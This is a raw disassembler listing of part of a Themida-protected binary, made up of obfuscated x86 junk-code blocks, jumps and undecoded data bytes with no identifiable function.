		dd 42474FFh, 24048F5Ah,	6624248Bh, 2EC8352h, 0FFDF99E9h
		dd 240431FFh, 0E9240433h, 0FFFF89D2h, 0E9E38953h, 0FFFFFEA3h
		dd 2B60F66h, 835B5453h,	2C8904ECh, 4BD24h, 0EB810000h
		dd 46493653h, 7526C381h, 0EB01408Dh, 7526EB81h,	0C381408Dh
		dd 46493653h, 32E9575Dh, 0FFFFFFBEh, 148B2434h,	4C48324h
		dd 670EE955h, 8952FFFFh, 32F9E9E2h, 14890000h, 0E99C5024h
		dd 0FFFF5A61h, 97E95292h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56ACBB:				; CODE XREF: Themida_:00570DF9j
		add	esp, 4
		push	20CDh
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_56FEF7
; ---------------------------------------------------------------------------


loc_56ACD8:				; CODE XREF: Themida_:0057374Fj
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 2
		jmp	loc_566189
; ---------------------------------------------------------------------------


loc_56ACE4:				; CODE XREF: Themida_:00568344j
		mov	ch, ah
		not	ch
		mov	ah, ch
		jmp	loc_56DFFA
; ---------------------------------------------------------------------------
		db 68h
		dd 19Ah, 81241489h, 4ECh, 24248900h, 4240483h, 0FFEE9FE9h
		dd 0F2815AFFh, 6B413421h, 0E9242C8Bh, 929Ah, 2C8BEE29h
		dd 4C48124h, 0E9000000h, 0FFFFA918h, 0F707E7C1h, 3EF781D7h
		dd 5EB0F00h, 6EFC704Ah,	0E144552Dh, 5F8016Dh, 6DE14455h
		dd 0FC704A2Dh, 243C8B6Eh, 4C481h, 0D0290000h, 3698E9h
		dd 58A0BD00h, 0EB292066h, 76F3E95Dh, 0D0290000h, 0F7425892h
		dd 18F281D2h, 31272C70h, 11E95AD3h, 0C0000064h,	0CE8006EEh
		dd 7AF680DBh, 45AF528h,	0E9E80070h, 0FFFFC7ABh,	1C8BD801h
		dd 4C48124h, 81000000h,	4ECh, 24148900h, 446F6853h, 7BE90C17h
		dd 0BD00004Fh, 6C4A63C1h, 0FFAD87E9h, 0A5F181FFh, 0E9366E1Eh
		dd 28AAh, 81DD015Fh, 706AEFEDh,	4EC831Eh, 55243489h, 2A082CBDh
		dd 0E9EE893Bh, 9551h
; ---------------------------------------------------------------------------


loc_56ADE0:				; CODE XREF: Themida_:0056B99Cj
		pop	ebx
		jmp	loc_575E6A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8F9B951h,	0D9F72FDAh, 0F181D9F7h,	3E1236AAh, 5059C831h
		dd 8FB7E9h, 4EE8100h, 87000000h, 895C2434h, 0B8502434h
		dd 63F37BD6h, 0FF66B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AE1D:				; CODE XREF: Themida_:005669CCj
		add	ebx, edi
		pop	edi
		push	edi
		mov	edi, 5A2767ADh
		jmp	loc_564E91
; ---------------------------------------------------------------------------
		db 89h
		dd 6933E9F5h, 515C0000h, 912A45B9h, 59C80145h, 0EC81F001h
		dd 4, 0BD242C89h, 45912A45h, 0FFFD43E9h, 55DEF7FFh, 6128E9h
		db 0
; ---------------------------------------------------------------------------


loc_56AE59:				; CODE XREF: Themida_:00572483j
		mul	cx
		push	20ACh
		mov	[esp], ecx
		jmp	loc_561B93
; ---------------------------------------------------------------------------


loc_56AE69:				; CODE XREF: Themida_:00565B1Fj
		sub	ecx, esi
		pop	esi
		neg	ecx
		jmp	loc_564DA8
; ---------------------------------------------------------------------------


loc_56AE73:				; CODE XREF: Themida_:0056DF44j
		pop	eax
		push	edi
		push	edx
		jmp	loc_570B9D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 24D22424h, 8EE99C24h, 0FFFFFF58h, 5F042474h,	5C24048Fh
		dd 62CEE950h, 0F581FFFFh, 6A621EA4h, 99E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_56AEA1:				; CODE XREF: Themida_:00564325j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5701C7
; ---------------------------------------------------------------------------


loc_56AED0:				; CODE XREF: Themida_:00566157j
		not	eax
		push	ebx
		push	eax
		pop	ebx
		pop	eax
		push	ebp
		jmp	loc_573593
; ---------------------------------------------------------------------------
		dd 8B243C29h, 0C483243Ch, 5D6E6804h, 1C890000h,	2300BB24h
		dd 0CB81026Ah, 7E04249Eh, 2309CB81h, 3CE9117Fh,	8000006Dh
		dd 0B450FFEFh, 0E9D4F679h, 0FFFFB8DEh
; ---------------------------------------------------------------------------


loc_56AF10:				; CODE XREF: Themida_:0056C7C3j
		sub	ebp, 67DB2D1Ah
		jmp	loc_56F5B6
; ---------------------------------------------------------------------------


loc_56AF1B:				; CODE XREF: Themida_:00574FB7j
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	eax, 2F7354BCh
		push	small word ptr [eax]
		jmp	loc_560715
; ---------------------------------------------------------------------------
aBqMx@vsS	db 'ïßmx@Vé¸S',0
		align 2
		dw 0EFC1h
		dd 1FF0E906h, 0B5510000h, 0E8885003h, 5958C288h, 66AAC280h
		dd 28B7B151h, 0C8B66CAh, 2C48324h, 88D38853h, 0D05A5BDDh
		dd 8FE952EDh, 0E9FFFFCCh, 0FFFF57A5h, 0BD242C89h, 71AF4E28h
		dd 15DEF29h, 4EC83EFh, 8973E9h
		db 0
; ---------------------------------------------------------------------------


loc_56AF85:				; CODE XREF: Themida_:0056C9D1j
		sub	edx, edi
		pop	edi
		jmp	loc_560B5E
; ---------------------------------------------------------------------------
		db 1, 54h, 24h
		dd 1C8B5A04h, 4C48124h,	0E9000000h, 860Eh, 4C481h, 7EE90000h
		dd 54000013h, 81242C8Bh, 4C4h, 11BE5600h, 0E923D477h, 0FFFFF759h
; ---------------------------------------------------------------------------


loc_56AFC0:				; CODE XREF: Themida_:0057430Cj
		sub	edx, 0CCD2BE4h
		push	eax
		mov	eax, 69414ACCh
		or	edx, eax
		mov	eax, [esp]
		add	esp, 4
		shl	edx, 3
		push	esi
		jmp	loc_569693
; ---------------------------------------------------------------------------
		db 0B7h, 0E3h, 0B4h
		dd 5BFC28FFh, 12B3E9h, 4ED8300h, 5C242C87h, 0FFCF53E9h
		dd 241C8BFFh, 4C481h, 0D3310000h, 5624148Bh, 0FFB06DE9h
		dd 20ABAFFh, 0BE562509h, 54717803h, 6EEC14Eh, 0EE81D6F7h
		dd 0F9A0BEE2h, 815EF231h, 3E6F65EAh, 5AD031F2h,	0E958C701h
		dd 5679h, 444BC681h, 0FE01426Ch, 444BEE81h, 7E9426Ch, 33000016h
		dd 4312404h, 24043324h,	240C895Ch, 0FF56BCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B059:				; CODE XREF: Themida_:0056B277j
		xor	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		pop	ebp
		jmp	loc_574AE3
; ---------------------------------------------------------------------------
		db 89h
		dd 36BF243Ch, 0E931CE48h, 0FFFFBD2Dh, 0CF5EE958h, 0C681FFFFh
		dd 5C492D16h, 0EE81DE01h, 5C492D16h, 5506C681h,	815B5023h
		dd 4EEh, 24348700h, 0E924248Bh,	6100h, 4C2815Ah, 83000000h
		dd 148704EAh, 34895C24h, 34FF5424h, 68525E24h, 68C6h, 83242489h
		dd 0E9042404h, 0FFFF6536h, 0E732BE56h, 0F589DA73h, 4EC815Eh
		dd 89000000h, 5FBF243Ch, 0E97C051Fh, 0FFFF9762h, 468h
		dd 24048B00h, 4C481h, 44010000h, 34FF0424h, 24048B24h
		dd 4C481h, 0EC810000h, 4, 83243489h, 248904ECh,	24048124h
		dd 4, 2806E9h
		db 0
; ---------------------------------------------------------------------------


loc_56B129:				; CODE XREF: Themida_:005712B4j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 69632384h
		mov	esi, 32E77BC6h
		push	eax
		mov	eax, 0E9EAD32Ah
		add	esi, eax
		pop	eax
		xor	esi, ebp
		mov	ebp, [esp]
		push	ebx
		jmp	loc_563ED4
; ---------------------------------------------------------------------------
		dd 5C240433h, 2D25E950h, 0E9560000h, 0FFFFB3B4h, 4C181h
		dd 0BE560000h, 4, 875EF101h, 16E9240Ch,	81FFFF94h, 0E609B9C1h
		dd 5E98176h, 0E949EA4Bh, 0B00h
; ---------------------------------------------------------------------------


loc_56B188:				; CODE XREF: Themida_:00575295j
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_56A985
; ---------------------------------------------------------------------------
		dd offset dword_55285C+0Ch
		dd 241C8900h, 4E7F68h, 24248900h, 60E4E9h, 0E9D6F700h
		dd 0FFFF87C8h
; ---------------------------------------------------------------------------


loc_56B1B8:				; CODE XREF: Themida_:00574CDBj
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0Bh
		push	ebx
		sub	esp, 4
		jmp	loc_56A699
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4C381h, 0ADE90000h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B1DB:				; CODE XREF: Themida_:00564078j
		or	[edi+1Ch], ebx
		mov	ebx, [esp]
		jmp	loc_56092A
; ---------------------------------------------------------------------------
		dw 3431h
		dd 24343324h, 0FF65C2E9h, 3426BBFFh, 0BA527D08h, 623672ECh
		dd 8105E2C1h, 1655F9EAh, 4ABD552Dh, 318E1BE0h, 0B9515DEAh
		dd 760A1892h, 4FDDF181h, 0CB2957EEh, 57EB8159h,	113455Ch
		dd 2A3DE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B22A:				; CODE XREF: Themida_:00572AF0j
		sub	eax, 0B8358EBh
		jmp	loc_572919
; ---------------------------------------------------------------------------


loc_56B234:				; CODE XREF: Themida_:0056A90Ej
		add	eax, 4
		jmp	loc_5654B2
; ---------------------------------------------------------------------------


loc_56B23E:				; CODE XREF: Themida_:005670F5j
		pop	eax
		add	esp, 4
		jmp	loc_570B18
; ---------------------------------------------------------------------------
		dw 4435h
		dd 81238E81h, 0AC0E94C3h, 81C3017Ah, 0AC0E94EBh, 1C87587Ah
		dd 24248B24h, 53F3BE56h, 0ABE97382h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B26F:				; CODE XREF: Themida_:0056453Aj
		mov	[esp], ebx
		mov	ebx, 337F5913h
		jmp	loc_56B059
; ---------------------------------------------------------------------------


loc_56B27C:				; CODE XREF: Themida_:0056F3B5j
		mov	[esp], ecx
		push	15DA4CD6h
		pop	ecx
		jmp	loc_5626FC
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 8C01E924h, 0E089FFFFh, 292EE9h, 71E36800h, 37E90000h
		dd 52FFFFC6h, 0C87C97BAh, 4E2C13Dh, 68ABC281h, 0E2812A44h
		dd 67087CAFh, 79E9D2F7h, 510000A5h, 0C181E189h,	4, 4C181h
		dd 0C870000h, 0BA525C24h, 120274FCh, 8245429h, 0FF5500E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B2E1:				; CODE XREF: Themida_:0056DFDCj
		sub	al, 97h
		jmp	loc_565847
; ---------------------------------------------------------------------------
		dd 835DEB01h, 0EC8302C3h, 242C8904h, 10E9E589h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B2FB:				; CODE XREF: Themida_:00573F54j
		pop	ebx
		shr	ebx, 4
		push	ebp
		jmp	loc_566942
; ---------------------------------------------------------------------------
		db 53h,	88h, 0F3h
		dd 108268h, 24148900h, 0E950DE88h, 9735h, 592434FFh, 6804C483h
		dd 7026h, 68241C89h, 6264EABh, 83241C8Bh, 0B85004C4h, 0AAA3D83h
		dd 8158C331h, 0B7527FC3h, 74EB8169h, 0E9434B39h, 937Ah
		dd 6A3268h, 7B1BE900h, 34FF0000h, 66A9E924h, 248B0000h
		dd 24148924h, 83C78957h, 3C8904ECh, 3C8B5A24h, 26E95324h
		dd 81FFFF80h, 4C4h, 1BA5200h, 1000000h,	16E95AD7h, 0B8FFFF64h
		dd 4, 8758C101h, 86E9240Ch, 89FFFF7Ch, 0EC832414h, 242C8904h
		dd 0EF69A7BDh, 5CD8E911h, 0F5C0000h, 9C2404A3h,	5BB6E9h
		dd 8B665C00h, 54522404h, 0E9F6E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B3C6:				; CODE XREF: Themida_:005642C5j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_560715
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 0D1h
		dd 0E9D5F7E5h, 0FFFFCBB1h
; ---------------------------------------------------------------------------


loc_56B3DC:				; CODE XREF: Themida_:00575A97j
		dec	ebp
		xor	ebp, 0BC8E4803h
		xor	esi, ebp
		pop	ebp
		sub	edx, esi
		pop	esi
		add	ebp, edx
		pop	edx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ebx, 4
		push	44F9h
		mov	[esp], esi
		mov	esi, 2
		sub	ebx, 5D282D78h
		add	ebx, esi
		jmp	loc_567854
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24048B24h, 0D1DFE953h, 8B54FFFFh, 0C7E92414h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B433:				; CODE XREF: Themida_:0056C796j
		pop	esp
		shr	edi, 1
		xor	edi, 218AF46Bh
		push	eax
		jmp	loc_574F25
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0EA830000h, 24148704h, 243C895Ch, 0FF9705E9h
		dd 5EF029FFh, 434B68h, 24148900h, 2DEDE9h, 241C3300h, 124248Bh
		dd 0E99C2404h, 0FFFF529Dh
; ---------------------------------------------------------------------------


loc_56B478:				; CODE XREF: Themida_:00574D32j
		sub	esp, 4
		jmp	loc_56A362
; ---------------------------------------------------------------------------
		dd 4246C31h, 83242C8Bh,	575A04C4h, 38685750h, 0E904E960h
		dd 70C7h, 481A002Dh, 45182D3Eh,	0C30194F9h, 0DBEB8158h
		dd 53D75318h, 44046BBh,	48EB8134h, 434CDC2Ah, 32BE9h, 24048700h
		dd 0E9C1FE5Ch, 0FFFFAAE5h
; ---------------------------------------------------------------------------


loc_56B4C8:				; CODE XREF: Themida_:0056D447j
		sub	edi, 3460AF7h
		and	eax, edi
		jmp	loc_566D08
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0D1CBA52h, 6DB91741h, 816DEE2Bh, 7E073FC1h, 938BE90Ah
		dd 0E95E0000h, 0FFFF9F75h, 6D2DF181h, 0CD310794h, 0EDF4E959h
		dd 0FF56FFFFh, 5E042474h, 5C24048Fh, 7698E9h, 544D6800h
		dd 0C15D431Fh, 0EDC103EDh, 0A5ED8106h, 891081BAh, 0E8E95DEEh
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B52B:				; CODE XREF: Themida_:0056D1E9j
		push	eax
		jmp	loc_560C86
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0EF2B62B9h, 433053Ch, 0C8015642h, 0FF890BE9h, 0C6815DFFh
		dd 2, 31243433h, 34332434h, 24248B24h, 2404D366h, 51B3E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B562:				; CODE XREF: Themida_:00566171j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4EEC25C1h
		xor	edi, 4EEC25C5h
		add	ebx, edi
		pop	edi
		push	eax
		jmp	loc_572212
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 783975EAh, 0DF9AF781h, 0FA317365h, 0FF844AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B5AD:				; CODE XREF: Themida_:0057557Bj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56C3BD
; ---------------------------------------------------------------------------
		dw 0B151h
		dd 20C9805Fh, 888DF180h, 0BED8E9CBh, 0E953FFFFh, 0FFFF79B4h
		dd 240C8B66h, 81E78957h, 4C7h, 4EF8300h, 0E9243C87h, 333Bh
		dd 42Dh, 24048700h, 0FF9360E9h,	4C281FFh, 83000000h, 0FF5204EAh
		dd 5A042474h, 0FF9D56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B605:				; CODE XREF: Themida_:0056446Dj
		pop	ebx
		add	esp, 4
		sub	al, cl
		sub	al, 0EAh
		pop	cx
		jmp	loc_564D71
; ---------------------------------------------------------------------------
		db 83h
		dd 835004C4h, 2C8904ECh, 0D0E95024h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56B627:				; CODE XREF: Themida_:00575521j
		pop	dword ptr [esp]
		jmp	loc_5607FD
; ---------------------------------------------------------------------------


loc_56B62F:				; CODE XREF: Themida_:0056518Fj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	788Eh
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_56A84D
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 89h
		dd 893F1D6Bh, 0E8E95BDDh
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B65F:				; CODE XREF: Themida_:00570FBCj
		add	ecx, 7E390DDAh
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 3E827500h
		add	esi, ecx
		sub	esi, 3E827500h
		add	esi, 77B663BAh
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		sub	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edi
		mov	edi, 36121C25h
		mov	ecx, 0C9EFE3DBh
		add	ecx, edi
		jmp	loc_560727
; ---------------------------------------------------------------------------
aI4SE		db '‰4$é»e',0
		align 4


loc_56B6CC:				; CODE XREF: Themida_:0056FCE5j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56474E
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0B35308EAh, 80DBF6A0h, 0DA289FF3h, 0E9C2865Bh, 0FFFFDF98h
		dd 52240C8Bh, 0C281E289h, 4, 4C281h, 14870000h,	0DAE95C24h
		dd 81FFFF7Ch, 0F35CE5EEh, 0A9AFE943h, 0C481FFFFh, 4, 0FFA0F5E9h
		dd 8EF81FFh, 0F73DD64Ch, 47D7F7DFh, 0C126F781h,	0F9298CEEh
		dd 59CA015Fh, 1AE95355h, 89FFFFB2h, 0A2BE2434h,	0F774E078h
		dd 0A4684EDEh, 8900004Eh, 0E8E9241Ch, 6600003Fh, 51240489h
		dd 0FF87E6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B765:				; CODE XREF: Themida_:0056365Cj
		xor	edx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_56C424
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, 36842E00h
		or	eax, 19345025h
		shr	eax, 5
		shl	eax, 8
		sub	eax, 88EEE527h
		add	dword ptr [esp+4], 4EBA0203h
		add	dword ptr [esp+4], 4CD7CF9h
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 4CD7CF9h
		jmp	loc_56270C
; ---------------------------------------------------------------------------
aWsi9		db 'WéI9',0
		dw 0B800h
aKilSki		db 'KiL;銈',0
		dd 0BDC38000h, 0EB80D328h, 6FB7E9BDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B7CA:				; CODE XREF: Themida_:00560DDEj
		sub	eax, edx
		pop	edx
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		add	dword ptr [ecx], 1
		jmp	loc_56A0E0
; ---------------------------------------------------------------------------
		dd 0E9EB874Bh, 0FFFF69E2h, 0D3F7D3F7h, 1E5EF381h, 0DF29ED5Dh
		dd 52DF295Bh, 71A2E9h, 1C895C00h, 4F24E924h, 61680000h
		dd 89000025h, 3DB9240Ch, 0E96D0D0Fh, 1BEh, 0E903E9C1h
		dd 9328h, 0F96F581h, 0EDE91987h, 89FFFF61h, 74FF241Ch
		dd 1C8B0424h, 2BD96824h, 14890000h, 535A5424h, 6658A4BBh
		dd 0EE95520h, 54FFFFF5h, 81F9E9h, 5BDF3100h, 665FFB01h
		dd 5724148Bh, 2C68E789h, 8900000Eh, 0E7BD242Ch,	517F3E7Eh
		dd 8904EC83h, 96B82404h, 0E9641B59h, 827Dh, 24048B66h
		dd 4EC81h, 34890000h, 4EC8324h,	54242C89h, 81242C8Bh, 4C4h
		dd 0B8FEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B89E:				; CODE XREF: Themida_:005662DAj
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56D9D3
; ---------------------------------------------------------------------------
		dd 0FFFFEA81h, 0F281FFFFh, 0C8F009Ch, 8103E2C1h, 754B04E2h
		dd 3CE95334h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B8D3:				; CODE XREF: Themida_:005757C2j
		xchg	ebp, edi
		not	ebp
		xchg	ebp, edi
		jmp	loc_56DA02
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C896624h, 0B60F6624h, 9C5166C8h, 0FF4E24E9h, 66F281FFh
		dd 815687FEh, 962E87EAh, 0B9CA8115h, 8116CE0Fh,	0E6581EEAh
		dd 81DAF705h, 211A36F2h, 0F3EA8172h, 81C10A6Ch,	0F78E6CAh
		dd 596CE930h, 80BD0000h, 81715166h, 246343EDh, 5DEA8944h
		dd 0FCC7C281h, 0D001D2D2h, 0D9BE565Ah, 5350BF64h, 983BA4BBh
		dd 688E978h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B94A:				; CODE XREF: Themida_:005661FBj
		mov	ebp, 56A13899h
		sub	esp, 4
		mov	[esp], ebp
		dec	dword ptr [esp]
		jmp	loc_56E81B
; ---------------------------------------------------------------------------


loc_56B95D:				; CODE XREF: Themida_:00569DE9j
		mov	esp, [esp]
		mov	ax, [esp]
		push	693Bh
		jmp	loc_56655D
; ---------------------------------------------------------------------------
		dw 0E288h
		dd 8BD38858h, 0C4812414h, 4
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 404E7FA3h
		xor	ebx, 59EF1CD6h
		and	ebx, 3D6B0C92h
		add	ebx, 0E6DEFFF4h
		add	ebp, ebx
		jmp	loc_56ADE0
; ---------------------------------------------------------------------------


loc_56B9A1:				; CODE XREF: Themida_:00562269j
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_560715
; ---------------------------------------------------------------------------
		dw 0BAh
		dd 29000000h, 48152EAh,	9F5EFA24h, 0ED815D4Dh, 4D9F5EFAh
		dd 0A654E95Ah, 0C181FFFFh, 22B85B16h, 965FB850h, 0C10170A6h
		dd 0E9CD3158h, 2AC7h
; ---------------------------------------------------------------------------


loc_56B9EC:				; CODE XREF: Themida_:00562EB5j
		sub	bl, 5Dh
		jmp	loc_5634C3
; ---------------------------------------------------------------------------
		dd 4C481h, 0CE010000h, 5E5EEE81h, 94E939D6h, 0F7FFFF90h
		dd 0B8C6E9D0h, 0E950FFFFh, 0FFFFA9CDh, 53243489h, 0FF5359E9h
		dd 0F38166FFh, 81663A96h, 665E87EBh, 1C8BDA89h,	4C48124h
		dd 0E9000000h, 5DB1h
; ---------------------------------------------------------------------------


loc_56BA38:				; CODE XREF: Themida_:00560CF6j
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	1E41h
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 0ABB494Dh
		jmp	loc_567F3B
; ---------------------------------------------------------------------------
		db 0B5h, 0BEh, 4
		dd 51E8284Ch, 6AFEE9h, 24040100h, 90C7E9h
		db 0
; ---------------------------------------------------------------------------


loc_56BA75:				; CODE XREF: Themida_:00572B77j
		push	ebp
		mov	ebp, 0F4523D9h
		inc	ebp
		sub	ebp, 37476B73h
		add	ebp, 2802479Dh
		jmp	loc_575F0E
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4BD55h, 6C810000h, 79AD0424h, 6C016049h, 52530424h
		dd 0E34BC5BAh, 0F1E2811Bh, 813BF559h, 0DB7592F2h, 0E2814A27h
		dd 1B4108E2h, 716BC281h, 0D3894849h, 245C015Ah,	241C8B08h
		dd 4C481h, 585D0000h, 4037E9h, 4C48300h, 0E9240C8Bh, 0FFFFC5D2h
; ---------------------------------------------------------------------------


loc_56BAE4:				; CODE XREF: Themida_:00574E06j
		pop	esi
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		push	ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_56BEF2
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 52h
		dd 4BAh, 0E9D00100h, 5DE3h, 4C781h, 0EF830000h,	243C8704h
		dd 0C6A6E95Ch, 148BFFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	edi
		jmp	loc_575162
; ---------------------------------------------------------------------------


loc_56BB23:				; CODE XREF: Themida_:0056743Ej
		add	esp, 4
		or	esi, 559924F7h
		not	esi
		sub	esi, 0A04698FCh
		mov	ebx, esi
		jmp	loc_572CC8
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 0CEBA5207h, 577AEB1Dh, 704F88BFh, 17EF813Dh,	0F70BE363h
		dd 0BDF1E9D7h, 535EFFFFh, 9D34E9h, 53E26800h, 14890000h
		dd 505A5424h, 7B4030B8h, 5E8C123h, 0FFD50DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BB79:				; CODE XREF: Themida_:00563EF7j
		add	dword ptr [esp+4], 2277541Ah
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 2277541Ah
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 75B16D74h
		push	ecx
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	6D52h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5734AE
; ---------------------------------------------------------------------------
		db 1
		dd 0B9515EF5h, 0F5BE3A28h, 6BE9CD01h, 5800002Ch, 92D2F75Ah
		dd 35790905h, 645DE920h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56BBDE:				; CODE XREF: Themida_:0056DF50j
		shr	ebp, 1
		push	ebx
		mov	ebx, 5F676C17h
		shl	ebx, 7
		jmp	loc_562746
; ---------------------------------------------------------------------------
		dw 8F5Dh
		dd 0B6E92404h, 0B8FFFFE4h, 6E464B05h, 0FF906AE9h, 2414F7FFh
		dd 0E9241C8Bh, 0FFFFCF8Bh, 0FF4B04E9h, 241487FFh, 241C895Ch
		dd 0ED33B3BBh, 0C1DBF714h, 0E3C102E3h, 0FEEB8107h, 1259899h
		dd 0FF525BDAh, 5A042474h, 446CE9h, 5BDA0100h, 31241433h
		dd 14332414h, 0F665C24h, 6866C8BEh, 0B8E900BAh,	0BD00008Eh
		dd 3F795DDBh, 79EBE9h, 5E4C000h, 0C043B353h, 6E905E3h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BC6B:				; CODE XREF: Themida_:0056785Aj
		pop	esi
		xchg	ebx, [esp]
		jmp	loc_572480
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 504AE900h, 0E95D0000h, 0FFFF8947h
		dd 2CE9D101h, 0BFFFFF97h, 505E4649h, 0FF9268E9h, 4BFFBFFFh
		dd 0D7F74AD6h, 4F9268h,	241C8900h, 0FF563DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BCAD:				; CODE XREF: Themida_:00565DA3j
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_5682A3
; ---------------------------------------------------------------------------
		dw 2D48h
		dd 30703A9Eh, 34FFC301h, 9F93E924h, 81660000h, 0E97AB6EDh
		dd 0FFFFACC2h, 34FF5457h, 4CE95F24h, 89000023h,	4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 2404895Ch, 0D30054B8h, 980CE94Dh
		dd 0C1830000h, 0AEF18101h, 1BE5D94h, 0EF8159CFh, 7C3718F2h
		dd 7BE9D729h, 81000044h, 4C3h, 4C38100h, 87000000h, 0E95C241Ch
		dd 0FFFFF89Ah
; ---------------------------------------------------------------------------


loc_56BD2C:				; CODE XREF: Themida_:00566869j
		add	edi, 4
		jmp	loc_5688F6
; ---------------------------------------------------------------------------
		db 87h
		dd 335C2434h, 2C31242Ch, 242C3324h, 8924248Bh, 0E0892404h
		dd 0E904EC83h, 0FFFF7362h
; ---------------------------------------------------------------------------


loc_56BD54:				; CODE XREF: Themida_:0056A980j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6BDB01F8h
		add	ecx, 8E2487Ah
		push	esi
		mov	esi, 21576CF0h
		shl	esi, 1
		xor	esi, 36139396h
		jmp	loc_56630D
; ---------------------------------------------------------------------------
		db 50h
